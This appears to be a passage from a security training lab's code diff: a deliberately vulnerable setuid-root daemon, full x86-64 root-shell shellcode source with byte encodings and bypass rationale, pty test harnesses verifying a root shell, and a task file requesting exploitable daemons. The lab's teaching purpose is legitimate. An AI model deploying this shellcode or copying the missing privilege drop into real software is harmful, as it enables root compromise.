* A setuid-root process that listens on a non-loopback interface is a
|
||||||
|
* remote root service. This guard is not a mitigation, it is a default:
|
||||||
|
* the administrator must consciously type -L to override it. Refuse by
|
||||||
|
* default, document the exception, fail loudly.
|
||||||
|
*/
|
||||||
|
if (!allow_nonloopback &&
|
||||||
|
(strcmp(host, "127.0.0.1") != 0 && strcmp(host, "localhost") != 0 &&
|
||||||
|
strcmp(host, "::1") != 0)) {
|
||||||
|
fprintf(stderr,
|
||||||
|
"foosd: refusing to bind %s: this binary may be setuid root.\n"
|
||||||
|
" Loopback is the only permitted default. If you really\n"
|
||||||
|
" know what you are doing, pass -L.\n", host);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
signal(SIGPIPE, SIG_IGN);
|
||||||
|
signal(SIGCHLD, SIG_IGN); /* Auto-reap forked children. */
|
||||||
|
|
||||||
|
/* Reserve a private log descriptor BEFORE sockets are dup2'd over fd 1. */
|
||||||
|
g_logfd = dup(STDOUT_FILENO);
|
||||||
|
if (g_logfd < 0) {
|
||||||
|
g_logfd = STDOUT_FILENO;
|
||||||
|
fprintf(stderr, "foosd: warning: could not reserve a log descriptor\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* SELF-DIAGNOSIS OF THE SUID STATE -- printed once, to the log.
|
||||||
|
*
|
||||||
|
* "suid active": euid==0 and ruid!=0 -> a setuid-root binary
|
||||||
|
* "run as root": euid==0 and ruid==0 -> started by root directly
|
||||||
|
* "plain user": euid==ruid!=0 -> +s bit not set (yet)
|
||||||
|
*
|
||||||
|
* foosc reads euid over the socket and can warn too; this log line is
|
||||||
|
* for you at the console.
|
||||||
|
*/
|
||||||
|
logmsg("startup: ruid=%d euid=%d %s",
|
||||||
|
(int)getuid(), (int)geteuid(),
|
||||||
|
(geteuid() == 0) ? "-> ROOT process"
|
||||||
|
: "-> NOT root (set the setuid bit with make setuid)");
|
||||||
|
|
||||||
|
if (geteuid() == 0)
|
||||||
|
logmsg("startup: WARNING: this daemon is running as root. It exists "
|
||||||
|
"only to be exploited. Port %d does not need root.", port);
|
||||||
|
|
||||||
|
lfd = make_listener(host, port);
|
||||||
|
if (lfd < 0)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
logmsg("listening on %s:%d (pid %d) -- THIS SERVICE IS INTENTIONALLY "
|
||||||
|
"VULNERABLE", host, port, (int)getpid());
|
||||||
|
|
||||||
|
if (daemonise) {
|
||||||
|
/* Standard double fork so we cannot acquire a controlling terminal. */
|
||||||
|
pid_t p1 = fork();
|
||||||
|
if (p1 < 0) { perror("fork"); return 1; }
|
||||||
|
if (p1 > 0) _exit(0);
|
||||||
|
if (setsid() < 0) perror("setsid");
|
||||||
|
pid_t p2 = fork();
|
||||||
|
if (p2 < 0) { perror("fork"); return 1; }
|
||||||
|
if (p2 > 0) _exit(0);
|
||||||
|
if (chdir("/") < 0) perror("chdir");
|
||||||
|
umask(022);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- The accept loop. Each child serves one connection as root. ----- */
|
||||||
|
for (;;) {
|
||||||
|
struct sockaddr_in peer;
|
||||||
|
socklen_t plen = sizeof(peer);
|
||||||
|
int cfd;
|
||||||
|
pid_t pid;
|
||||||
|
|
||||||
|
cfd = accept(lfd, (struct sockaddr *)&peer, &plen);
|
||||||
|
if (cfd < 0) {
|
||||||
|
if (errno == EINTR || errno == ECONNABORTED)
|
||||||
|
continue;
|
||||||
|
logmsg("accept() failed: %s", strerror(errno));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Fork per connection. The child KEEPS the root privileges -- that
|
||||||
|
* is Bug #3 in this lab, "no privilege drop before handling
|
||||||
|
* untrusted input" (CWE-271). See drop_privs() above for the code
|
||||||
|
* a real daemon would call at this exact point.
|
||||||
|
*/
|
||||||
|
pid = fork();
|
||||||
|
if (pid < 0) {
|
||||||
|
logmsg("fork() failed: %s", strerror(errno));
|
||||||
|
close(cfd);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pid == 0) {
|
||||||
|
close(lfd);
|
||||||
|
handle_client(cfd);
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
close(cfd);
|
||||||
|
}
|
||||||
|
}
|
||||||
94
suid/shellcode.S
Normal file
94
suid/shellcode.S
Normal file
|
|
@ -0,0 +1,94 @@
|
||||||
|
; ============================================================================
|
||||||
|
; shellcode.S -- the reference shellcode for the SUID lab (foosc)
|
||||||
|
; ============================================================================
|
||||||
|
;
|
||||||
|
; This is the byte-for-byte source of the SHELLCODE[] array in ../foosc.c.
|
||||||
|
; `make verify` assembles it with nasm and diffs the result against the C
|
||||||
|
; array, so a hand-maintained hex dump can never silently drift from the
|
||||||
|
; source of truth. Run it, do not just trust it.
|
||||||
|
;
|
||||||
|
; WHAT IT DOES
|
||||||
|
; ------------
|
||||||
|
; 1. setreuid(0, 0) -- make REAL and EFFECTIVE uid both root
|
||||||
|
; 2. execve("/bin/sh",0,0) -- replace this process with a root shell
|
||||||
|
;
|
||||||
|
; WHY THE FIRST SYSCALL MUST EXIST -- the whole point of this lab
|
||||||
|
; ----------------------------------------------------------------
|
||||||
|
; When a setuid-root binary runs, Linux gives the process euid 0 but leaves
|
||||||
|
; ruid = the launching user (e.g. 1000). Now:
|
||||||
|
;
|
||||||
|
; * execve() alone does NOT change the uids. euid stays 0 *in the process*.
|
||||||
|
; But bash and dash, on startup, compare euid against ruid, and when they
|
||||||
|
; differ (and -p is not given) they RESET euid = ruid -- the shell's own
|
||||||
|
; defence against exactly this attack. Result: plain execve("/bin/sh")
|
||||||
|
; from a setuid process gives you a shell that is NOT root.
|
||||||
|
;
|
||||||
|
; * setuid(0) is NOT enough either. On Linux, an unprivileged... no: even a
|
||||||
|
; privileged setuid(0) sets euid=0 (and saved=0) but LEAVES ruid
|
||||||
|
; untouched. bash still sees euid(0) != ruid(1000) and still resets.
|
||||||
|
;
|
||||||
|
; * setreuid(0, 0) sets BOTH ruid and euid to 0 (and, because euid 0 is
|
||||||
|
; privileged, saved too). bash now starts with euid == ruid == 0 and
|
||||||
|
; keeps root.
|
||||||
|
;
|
||||||
|
; So "clear the real uid as well" is not paranoia -- it is the *only* way a
|
||||||
|
; /bin/sh payload gets a root shell out of a setuid binary on a modern
|
||||||
|
; system. This is why the classic 24-byte shellcode you find all over the
|
||||||
|
; internet opens with a uid-clearing syscall.
|
||||||
|
;
|
||||||
|
; Register usage follows the System V AMD64 ABI: first integer args in
|
||||||
|
; rdi, rsi, rdx; syscall number in rax.
|
||||||
|
; ============================================================================
|
||||||
|
|
||||||
|
BITS 64
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; 1) setreuid(0, 0)
|
||||||
|
; Linux x86-64 syscall 113: int setreuid(uid_t ruid, uid_t euid);
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
xor edi, edi ; 31 ff rdi = 0 -> ruid = 0
|
||||||
|
xor esi, esi ; 31 f6 rsi = 0 -> euid = 0
|
||||||
|
push 0x71 ; 6a 71 113 = __NR_setreuid
|
||||||
|
pop rax ; 58 rax = 113
|
||||||
|
syscall ; 0f 05 enter the kernel
|
||||||
|
|
||||||
|
; NOTES ON THE ENCODING:
|
||||||
|
; * `xor edi,edi` is 2 bytes and zeroes the full 64-bit rdi. "xor reg,reg"
|
||||||
|
; is the canonical way to zero a register -- not "mov 0", which is larger
|
||||||
|
; and a lot of CPUs special-case the xor anyway.
|
||||||
|
; * `push 0x71 ; pop rax` loads a small constant without a 7-byte
|
||||||
|
; `mov rax, imm64`. Pushing an imm8 sign-extends it to 64 bits; 0x71 =
|
||||||
|
; 113 fits, so this is both smaller and has no NUL bytes to worry about.
|
||||||
|
; * We deliberately do NOT check the syscall return: if foosd was NOT built
|
||||||
|
; setuid this fails with EPERM, and falling through to execve is exactly
|
||||||
|
; what we want (a plain, non-root shell) so the lab works both ways.
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; 2) execve("/bin/sh", argv = NULL, envp = NULL)
|
||||||
|
; Linux x86-64 syscall 59
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
xor esi, esi ; 31 f6 rsi = 0 (argv = NULL)
|
||||||
|
xor edx, edx ; 31 d2 rdx = 0 (envp = NULL)
|
||||||
|
movabs rdi, 0x0068732f6e69622f
|
||||||
|
; 48 bf 2f 62 69 6e 2f 73 68 00
|
||||||
|
; rdi = "/bin/sh\0" as one little-endian word
|
||||||
|
push rdi ; 57 put the string on the stack
|
||||||
|
mov rdi, rsp ; 48 89 e7 rdi = pointer to the string
|
||||||
|
push 0x3b ; 6a 3b 59 = execve
|
||||||
|
pop rax ; 58 rax = 59
|
||||||
|
syscall ; 0f 05 replace this process
|
||||||
|
|
||||||
|
; WHY THE STRING IS BUILT THIS WAY:
|
||||||
|
; * There is no "push imm64"; the widest push immediate is sign-extended to
|
||||||
|
; 32 bits, so "/bin/sh\0" (8 bytes) cannot be pushed directly. Loading it
|
||||||
|
; into a register with movabs and pushing the register is the standard
|
||||||
|
; trick. The little-endian word 0x0068732f6e69622f is the bytes
|
||||||
|
; 2f 62 69 6e 2f 73 68 00 = "/bin/sh\0": the 8th byte is the NUL
|
||||||
|
; terminator, carried "for free" in the register.
|
||||||
|
; * argv=NULL/envp=NULL is legal for execve and keeps the payload tiny.
|
||||||
|
; A real exploit would pass an argv with the path for maximum shell
|
||||||
|
; compatibility; this lab's target shell (bash via /bin/sh) is happy.
|
||||||
|
|
||||||
|
; TOTAL: 32 bytes.
|
||||||
278
suid/tests/pty_suid_test.c
Normal file
278
suid/tests/pty_suid_test.c
Normal file
|
|
@ -0,0 +1,278 @@
|
||||||
|
/*
|
||||||
|
* pty_suid_test.c -- test harness: drive ./foosc through a pseudo-terminal
|
||||||
|
* so the interactive shell it hands over to has a real terminal.
|
||||||
|
*
|
||||||
|
* Why a pty at all: the exploit's last act is to relay the user's terminal
|
||||||
|
* to the shell running on the victim. Anything already sitting on the real
|
||||||
|
* stdin (a pipe, a here-doc) is at the wrong end of that relay, so the
|
||||||
|
* commands must arrive via a real tty. This harness supplies one.
|
||||||
|
*
|
||||||
|
* What it proves, and in what order:
|
||||||
|
*
|
||||||
|
* SHELL the marker literal comes back AND real `id` output appears.
|
||||||
|
* Both are required because the marker alone also occurs in the
|
||||||
|
* command line we typed *to* the pty, so any harness that does not
|
||||||
|
* disable echo (see below) scores a false positive.
|
||||||
|
*
|
||||||
|
* ROOT the transcript contains "uid=0(", i.e. the shell on the far side
|
||||||
|
* really is root. That can only come from a live `id` executed by
|
||||||
|
* a root shell, and it is the entire claim of this lab.
|
||||||
|
*
|
||||||
|
* Flags:
|
||||||
|
* --must-root exit 0 only if BOTH a shell and ROOT are proven.
|
||||||
|
* Used for the techniques that MUST escalate (shellcode,
|
||||||
|
* ret2win-root).
|
||||||
|
* --dump FILE write the raw transcript for post-mortem analysis.
|
||||||
|
*
|
||||||
|
* Exit status without --must-root: 0 when a shell is proven (marker + uid=),
|
||||||
|
* regardless of root. That is how the Makefile reports the "demoted shell"
|
||||||
|
* techniques (ret2win/ret2libc), whose whole lesson is that they succeed as
|
||||||
|
* shells yet do NOT get root.
|
||||||
|
*
|
||||||
|
* The critical detail shared with tests/pty_test.c in the parent lab: the
|
||||||
|
* pty must run COOKED but with ECHO off. With ECHO on, the pty mirrors our
|
||||||
|
* own keystrokes back into the transcript, the command line "echo
|
||||||
|
* SUID-ROOT-OK" supplies the marker, and the harness reports success whether
|
||||||
|
* or not any shell ever ran. That silent false positive cost real time in
|
||||||
|
* the parent lab; it is documented there and avoided here from the start.
|
||||||
|
*/
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
|
||||||
|
#include <errno.h> /* strerror(). */
|
||||||
|
#include <fcntl.h> /* open(), O_RDWR. */
|
||||||
|
#include <pty.h> /* posix_openpt(), grantpt(), ptsname_r(). */
|
||||||
|
#include <stdio.h> /* printf() and friends. */
|
||||||
|
#include <stdlib.h> /* _exit(). */
|
||||||
|
#include <string.h> /* strstr(). */
|
||||||
|
#include <sys/wait.h> /* waitpid(). */
|
||||||
|
#include <sys/select.h>/* select(): timeout without a busy loop. */
|
||||||
|
#include <termios.h> /* tcgetattr()/tcsetattr(). */
|
||||||
|
#include <signal.h> /* kill(), SIGKILL. */
|
||||||
|
#include <unistd.h> /* read, write, dup2, usleep, setsid, close. */
|
||||||
|
|
||||||
|
/* The literal we ask the remote shell to print; seeing it come back (with
|
||||||
|
* ECHO off) proves a shell really echoed it from the other side. */
|
||||||
|
#define MARKER "SUID-ROOT-OK"
|
||||||
|
|
||||||
|
/* Proofs a real program ran inside the far-side shell. Matching is strict:
|
||||||
|
* "uid=" must be followed by digits and a parenthesis -- i.e. the exact
|
||||||
|
* shape of `id` output ("uid=1000(hanez)"). A bare "uid=" substring is NOT
|
||||||
|
* enough, because foosc's own diagnostics print "target euid=1000
|
||||||
|
* ruid=1000", and both "euid="/"ruid=" contain "uid=". That accidental
|
||||||
|
* substring made the hardened-build tests report id_output=SEEN while no
|
||||||
|
* shell existed -- the false positive this strict match eliminates. */
|
||||||
|
#define IDOUT "uid="
|
||||||
|
|
||||||
|
/* PROOF the far-side shell is root. "uid=0(" matches "uid=0(root)" and the
|
||||||
|
* older "uid=0( root)"-style output of any id implementation; only 'id' can
|
||||||
|
* print this line, and the parenthesis rules out any foosc/daemon chatter. */
|
||||||
|
#define ROOTOUT "uid=0("
|
||||||
|
|
||||||
|
/* saw_real_uid_output() -- true iff the transcript contains "uid=" followed
|
||||||
|
* by one or more digits and then '(' . That is the signature of `id`'s
|
||||||
|
* output and of nothing foosc or foosd prints. */
|
||||||
|
static int saw_real_uid_output(const char *t)
|
||||||
|
{
|
||||||
|
const char *p = t;
|
||||||
|
while ((p = strstr(p, IDOUT)) != NULL) {
|
||||||
|
const char *q = p + 4; /* past "uid=" */
|
||||||
|
int digits = 0;
|
||||||
|
while (*q >= '0' && *q <= '9') {
|
||||||
|
q++;
|
||||||
|
digits++;
|
||||||
|
}
|
||||||
|
if (digits > 0 && *q == '(')
|
||||||
|
return 1;
|
||||||
|
p = q; /* keep scanning for the next "uid=". */
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Everything the pty has ever produced, scanned after every drain so a
|
||||||
|
* marker straddling a read() boundary cannot be missed. */
|
||||||
|
static char transcript[65536];
|
||||||
|
|
||||||
|
/* drain_master() -- read the pty master for up to `ms` ms, echo to stdout,
|
||||||
|
* and append to the transcript. select() with a deadline keeps us from
|
||||||
|
* spinning while the (interactive, silent) shell thinks. */
|
||||||
|
static int drain_master(int master, int ms)
|
||||||
|
{
|
||||||
|
struct timeval tv;
|
||||||
|
fd_set rfds;
|
||||||
|
int total = 0;
|
||||||
|
char buf[4096];
|
||||||
|
|
||||||
|
FD_ZERO(&rfds);
|
||||||
|
FD_SET(master, &rfds);
|
||||||
|
tv.tv_sec = ms / 1000;
|
||||||
|
tv.tv_usec = (ms % 1000) * 1000;
|
||||||
|
|
||||||
|
while (select(master + 1, &rfds, NULL, NULL, &tv) > 0) {
|
||||||
|
ssize_t n = read(master, buf, sizeof(buf));
|
||||||
|
if (n <= 0)
|
||||||
|
break;
|
||||||
|
fwrite(buf, 1, (size_t)n, stdout);
|
||||||
|
fflush(stdout);
|
||||||
|
total += (int)n;
|
||||||
|
if ((size_t)total < sizeof(transcript) - 1)
|
||||||
|
strncat(transcript, buf, (size_t)n);
|
||||||
|
|
||||||
|
/* A chatty peer should not hold us forever: reset the deadline. */
|
||||||
|
FD_ZERO(&rfds);
|
||||||
|
FD_SET(master, &rfds);
|
||||||
|
tv.tv_sec = 0;
|
||||||
|
tv.tv_usec = 200000;
|
||||||
|
}
|
||||||
|
return total;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *technique_of(int argc, char **argv)
|
||||||
|
{
|
||||||
|
for (int i = 1; i + 1 < argc; i++)
|
||||||
|
if (strcmp(argv[i], "-t") == 0)
|
||||||
|
return argv[i + 1];
|
||||||
|
return "(default: shellcode)";
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
int master;
|
||||||
|
char slave_name[256];
|
||||||
|
struct termios saved;
|
||||||
|
int have_saved = 0;
|
||||||
|
pid_t pid;
|
||||||
|
int ok = 0; /* marker seen */
|
||||||
|
int saw_id = 0; /* "uid=" seen: real program ran */
|
||||||
|
int saw_root = 0; /* "uid=0(" seen: it was root */
|
||||||
|
int must_root = 0; /* --must-root flag */
|
||||||
|
int round;
|
||||||
|
|
||||||
|
/* True when --must-root is present: the verdict then demands uid=0. */
|
||||||
|
for (int i = 1; i < argc; i++)
|
||||||
|
if (strcmp(argv[i], "--must-root") == 0)
|
||||||
|
must_root = 1;
|
||||||
|
|
||||||
|
/* ---- 1. Allocate a pty. ------------------------------------------ */
|
||||||
|
master = posix_openpt(O_RDWR);
|
||||||
|
if (master < 0) {
|
||||||
|
perror("posix_openpt");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
if (grantpt(master) < 0 || unlockpt(master) < 0) {
|
||||||
|
perror("grantpt/unlockpt");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
if (ptsname_r(master, slave_name, sizeof(slave_name)) != 0) {
|
||||||
|
perror("ptsname_r");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- 2. Fork; the child becomes the pty slave and execs foosc. --- */
|
||||||
|
pid = fork();
|
||||||
|
if (pid < 0) {
|
||||||
|
perror("fork");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pid == 0) {
|
||||||
|
int s;
|
||||||
|
char *args[64];
|
||||||
|
int n = 0;
|
||||||
|
|
||||||
|
if (setsid() < 0)
|
||||||
|
_exit(127);
|
||||||
|
s = open(slave_name, O_RDWR);
|
||||||
|
if (s < 0)
|
||||||
|
_exit(127);
|
||||||
|
dup2(s, STDIN_FILENO);
|
||||||
|
dup2(s, STDOUT_FILENO);
|
||||||
|
dup2(s, STDERR_FILENO);
|
||||||
|
if (s > STDERR_FILENO)
|
||||||
|
close(s);
|
||||||
|
|
||||||
|
/* Forward everything except our own --must-root / --dump plumbing,
|
||||||
|
* which foosc's getopt() would reject. */
|
||||||
|
args[n++] = (char *)"./foosc";
|
||||||
|
for (int i = 1; i < argc && n < 63; i++) {
|
||||||
|
if (strcmp(argv[i], "--must-root") == 0)
|
||||||
|
continue;
|
||||||
|
if (strcmp(argv[i], "--dump") == 0) {
|
||||||
|
i++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
args[n++] = argv[i];
|
||||||
|
}
|
||||||
|
args[n] = NULL;
|
||||||
|
execv(args[0], args);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- 3. Terminal: cooked but SILENT. ----------------------------- */
|
||||||
|
/* NOT cfmakeraw(): the shell needs a real line-discipline terminal.
|
||||||
|
* ECHO off is load-bearing (see the header comment). ECHONL stays on so
|
||||||
|
* we still see the newline when the pty processes our input. */
|
||||||
|
if (tcgetattr(master, &saved) == 0) {
|
||||||
|
struct termios quiet = saved;
|
||||||
|
have_saved = 1;
|
||||||
|
quiet.c_lflag &= ~(tcflag_t)ECHO;
|
||||||
|
quiet.c_lflag |= ECHONL;
|
||||||
|
tcsetattr(master, TCSANOW, &quiet);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- 4. Wait out foosc's analysis + connect + payload phases. ----- */
|
||||||
|
for (round = 0; round < 12; round++)
|
||||||
|
drain_master(master, 250);
|
||||||
|
|
||||||
|
/* ---- 5. Type the proof commands. --------------------------------- */
|
||||||
|
dprintf(master, "id; echo " MARKER "; uname -sr; exit\n");
|
||||||
|
|
||||||
|
/* ---- 6. Read until we have the signals we need (or give up). ----- */
|
||||||
|
for (round = 0; round < 20; round++) {
|
||||||
|
drain_master(master, 250);
|
||||||
|
|
||||||
|
/* Rescan the WHOLE transcript, not the latest chunk: strings can
|
||||||
|
* straddle read() boundaries. */
|
||||||
|
if (strstr(transcript, MARKER) != NULL) ok = 1;
|
||||||
|
if (saw_real_uid_output(transcript)) saw_id = 1;
|
||||||
|
if (strstr(transcript, ROOTOUT) != NULL) saw_root = 1;
|
||||||
|
|
||||||
|
/* --must-root: require everything. Otherwise require a live shell. */
|
||||||
|
if (must_root) {
|
||||||
|
if (ok && saw_id && saw_root)
|
||||||
|
break;
|
||||||
|
} else if (ok && saw_id) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- 7. Tidy up. ------------------------------------------------- */
|
||||||
|
kill(pid, SIGKILL);
|
||||||
|
waitpid(pid, NULL, 0);
|
||||||
|
if (have_saved)
|
||||||
|
tcsetattr(master, TCSANOW, &saved);
|
||||||
|
close(master);
|
||||||
|
|
||||||
|
/* Optional --dump for post-mortems: pty_suid_test -t shellcode --dump x */
|
||||||
|
for (int i = 1; i + 1 < argc; i++) {
|
||||||
|
if (strcmp(argv[i], "--dump") == 0) {
|
||||||
|
FILE *f = fopen(argv[i + 1], "w");
|
||||||
|
if (f != NULL) {
|
||||||
|
fwrite(transcript, 1, strlen(transcript), f);
|
||||||
|
fclose(f);
|
||||||
|
fprintf(stderr, "[pty_suid_test] transcript (%zu bytes) -> %s\n",
|
||||||
|
strlen(transcript), argv[i + 1]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr,
|
||||||
|
"\n[pty_suid_test] technique=%-12s marker=%-7s id_output=%-7s root=%s\n",
|
||||||
|
technique_of(argc, argv),
|
||||||
|
ok ? "SEEN" : "MISSING",
|
||||||
|
saw_id ? "SEEN" : "MISSING",
|
||||||
|
saw_root ? "SEEN" : "MISSING");
|
||||||
|
|
||||||
|
if (must_root)
|
||||||
|
return (ok && saw_id && saw_root) ? 0 : 1;
|
||||||
|
return (ok && saw_id) ? 0 : 1;
|
||||||
|
}
|
||||||
25
task.txt
Normal file
25
task.txt
Normal file
|
|
@ -0,0 +1,25 @@
|
||||||
|
TASKS:
|
||||||
|
------
|
||||||
|
|
||||||
|
1.] Create a daemon named food that listens on port 2342 that is
|
||||||
|
exploitable via an RCE exploit by executing shell code. Also create the
|
||||||
|
corresponding exploit named fooc which connects to the daemon and opens a remote
|
||||||
|
shell on that daemon by using an exploit for food. I want to learn how these
|
||||||
|
things work to protect my software aginst the kind of bugs. Also comment all
|
||||||
|
lines of code to make it easy for me to understand what is going on. Please
|
||||||
|
create all code in the C language using C99.
|
||||||
|
|
||||||
|
2.] Also add a daemon named foodsd which will get the suid bit set and is
|
||||||
|
exploitable and a client named foosc which will open a root shell via an RCE by
|
||||||
|
executing shellcode. Tell when I should set the suid bit if you need this for
|
||||||
|
testing. Please create all the new code in a subdirectory named ./suid. Also
|
||||||
|
comment all code lines like you did before and add a README.md like you did for
|
||||||
|
food and fooc. Please create all code in the C language using C99.
|
||||||
|
|
||||||
|
3.] Create all the same but now we will not use suid bit set. Create a
|
||||||
|
daemon named foowosd which is exploitable and a client named foowosc which will
|
||||||
|
open a root shell via an RCE by executing shellcode. Please create all the new
|
||||||
|
code in a subdirectory named ./wosuid. Also comment all code lines like you did
|
||||||
|
before and add a README.md like you did for food and fooc. Please create all
|
||||||
|
code in the C language using C99.
|
||||||
|
|
||||||
279
tests/pty_test.c
Normal file
279
tests/pty_test.c
Normal file
|
|
@ -0,0 +1,279 @@
|
||||||
|
/*
|
||||||
|
* pty_test.c -- test harness: drive ./fooc through a pseudo-terminal so the
|
||||||
|
* interactive shell it spawns has a terminal on its stdin.
|
||||||
|
*
|
||||||
|
* Test scaffolding, not part of the lab. It exists because the exploit's final
|
||||||
|
* act is to replace its own stdin/stdout with the TCP socket and exec a shell.
|
||||||
|
* Anything already sitting on the real stdin (a pipe, a here-doc) is discarded
|
||||||
|
* at that moment, so the commands must arrive via a real tty or not at all.
|
||||||
|
*
|
||||||
|
* Usage: pty_test <fooc-args...>
|
||||||
|
* e.g. pty_test -t ret2win
|
||||||
|
* pty_test -t shellcode
|
||||||
|
*
|
||||||
|
* Exit status: 0 if the "PWNED-OK" marker appeared in the session.
|
||||||
|
*/
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
|
||||||
|
#include <errno.h> /* strerror(). */
|
||||||
|
#include <fcntl.h> /* open(), O_RDWR. */
|
||||||
|
#include <pty.h> /* posix_openpt(), grantpt(), ptsname_r(). */
|
||||||
|
#include <stdio.h> /* printf() and friends. */
|
||||||
|
#include <stdlib.h> /* _exit(). */
|
||||||
|
#include <string.h> /* strstr(). */
|
||||||
|
#include <sys/wait.h> /* waitpid(). */
|
||||||
|
#include <sys/select.h>/* select(), for a timeout that is not a busy loop. */
|
||||||
|
#include <termios.h> /* tcgetattr()/tcsetattr(), cfmakeraw(). */
|
||||||
|
#include <signal.h> /* kill(), SIGKILL. */
|
||||||
|
#include <unistd.h> /* read, write, dup2, usleep, setsid, close. */
|
||||||
|
|
||||||
|
/* The marker we type; seeing it back proves we really got a shell. */
|
||||||
|
#define MARKER "PWNED-OK"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The two things we require before calling a technique a success. Both must
|
||||||
|
* appear, and neither is present in the harness's own output:
|
||||||
|
*
|
||||||
|
* MARKER the literal string our `echo` prints
|
||||||
|
* "uid=" the first two fields of `id` output, i.e. a real program really
|
||||||
|
* ran inside a real shell on the far side of the connection
|
||||||
|
*
|
||||||
|
* MARKER alone is not sufficient. It also occurs in the command line we typed,
|
||||||
|
* so a terminal that merely echoes input -- or any harness that checks a
|
||||||
|
* single read() chunk -- would score a false positive. "uid=" can only come
|
||||||
|
* from a live shell executing a program, which is the claim under test.
|
||||||
|
*/
|
||||||
|
#define MARKER "PWNED-OK"
|
||||||
|
#define IDOUT "uid="
|
||||||
|
|
||||||
|
/*
|
||||||
|
* transcript -- everything the pty has ever given us, appended by
|
||||||
|
* drain_master(). The success check scans this rather than individual read()
|
||||||
|
* chunks, because a marker can straddle a chunk boundary and a per-chunk
|
||||||
|
* strstr() would miss a genuine success. Generously sized; a few tens of KB is
|
||||||
|
* far more than a `id`/`uname` session produces.
|
||||||
|
*/
|
||||||
|
static char transcript[65536];
|
||||||
|
|
||||||
|
/*
|
||||||
|
* drain_master() -- read whatever is available on the pty master, for at most
|
||||||
|
* `ms` milliseconds, echoing it to our stdout and returning the number of
|
||||||
|
* bytes seen.
|
||||||
|
*
|
||||||
|
* Everything goes to ONE stream, stdout. An earlier version sent pre-shell
|
||||||
|
* output to stderr and shell output to stdout, which meant the two halves of
|
||||||
|
* the session landed in different places: running the harness with
|
||||||
|
* `2>/dev/null` silently ate the first line of every command's output and made
|
||||||
|
* `uid=1000(hanez)` look like `(hanez)`. Concatenating onto one stream means
|
||||||
|
* the transcript reads in order and can be piped without surprises.
|
||||||
|
*
|
||||||
|
* select() with a timeout, rather than a bare read(), keeps this from
|
||||||
|
* spinning: we genuinely stop when the far end goes quiet, which matters
|
||||||
|
* because the shell is interactive and silent for long stretches.
|
||||||
|
*/
|
||||||
|
static int drain_master(int master, int ms)
|
||||||
|
{
|
||||||
|
struct timeval tv;
|
||||||
|
fd_set rfds;
|
||||||
|
int total = 0;
|
||||||
|
char buf[4096];
|
||||||
|
|
||||||
|
FD_ZERO(&rfds);
|
||||||
|
FD_SET(master, &rfds);
|
||||||
|
tv.tv_sec = ms / 1000;
|
||||||
|
tv.tv_usec = (ms % 1000) * 1000;
|
||||||
|
|
||||||
|
/* select() returns >0 readable, 0 on timeout, -1 on error. */
|
||||||
|
while (select(master + 1, &rfds, NULL, NULL, &tv) > 0) {
|
||||||
|
ssize_t n = read(master, buf, sizeof(buf));
|
||||||
|
if (n <= 0)
|
||||||
|
break;
|
||||||
|
fwrite(buf, 1, (size_t)n, stdout);
|
||||||
|
fflush(stdout);
|
||||||
|
total += (int)n;
|
||||||
|
|
||||||
|
/* Keep a copy for the success check, so it is not lost between chunks. */
|
||||||
|
if ((size_t)total < sizeof(transcript) - 1)
|
||||||
|
strncat(transcript, buf, (size_t)n);
|
||||||
|
|
||||||
|
/* Reset the deadline so a chatty peer cannot keep us here forever. */
|
||||||
|
FD_ZERO(&rfds);
|
||||||
|
FD_SET(master, &rfds);
|
||||||
|
tv.tv_sec = 0;
|
||||||
|
tv.tv_usec = 200000;
|
||||||
|
}
|
||||||
|
return total;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* technique_of() -- find the value of fooc's -t flag in our own argv, so the
|
||||||
|
* summary line names the technique we actually ran rather than the option
|
||||||
|
* letter that introduced it.
|
||||||
|
*/
|
||||||
|
static const char *technique_of(int argc, char **argv)
|
||||||
|
{
|
||||||
|
for (int i = 1; i + 1 < argc; i++)
|
||||||
|
if (strcmp(argv[i], "-t") == 0)
|
||||||
|
return argv[i + 1];
|
||||||
|
return "(default: ret2win)";
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
int master; /* pty master end: our window in. */
|
||||||
|
char slave_name[256]; /* Path of the pty slave. */
|
||||||
|
struct termios saved; /* The terminal state to restore. */
|
||||||
|
int have_saved = 0; /* Did tcgetattr() succeed? */
|
||||||
|
pid_t pid; /* The child running fooc. */
|
||||||
|
int ok = 0; /* Did the marker come back? */
|
||||||
|
int saw_id = 0; /* Did real `id` output come back? */
|
||||||
|
int round; /* Which read phase we are in. */
|
||||||
|
|
||||||
|
/* ---- 1. Allocate a pty. --------------------------------------------- */
|
||||||
|
master = posix_openpt(O_RDWR);
|
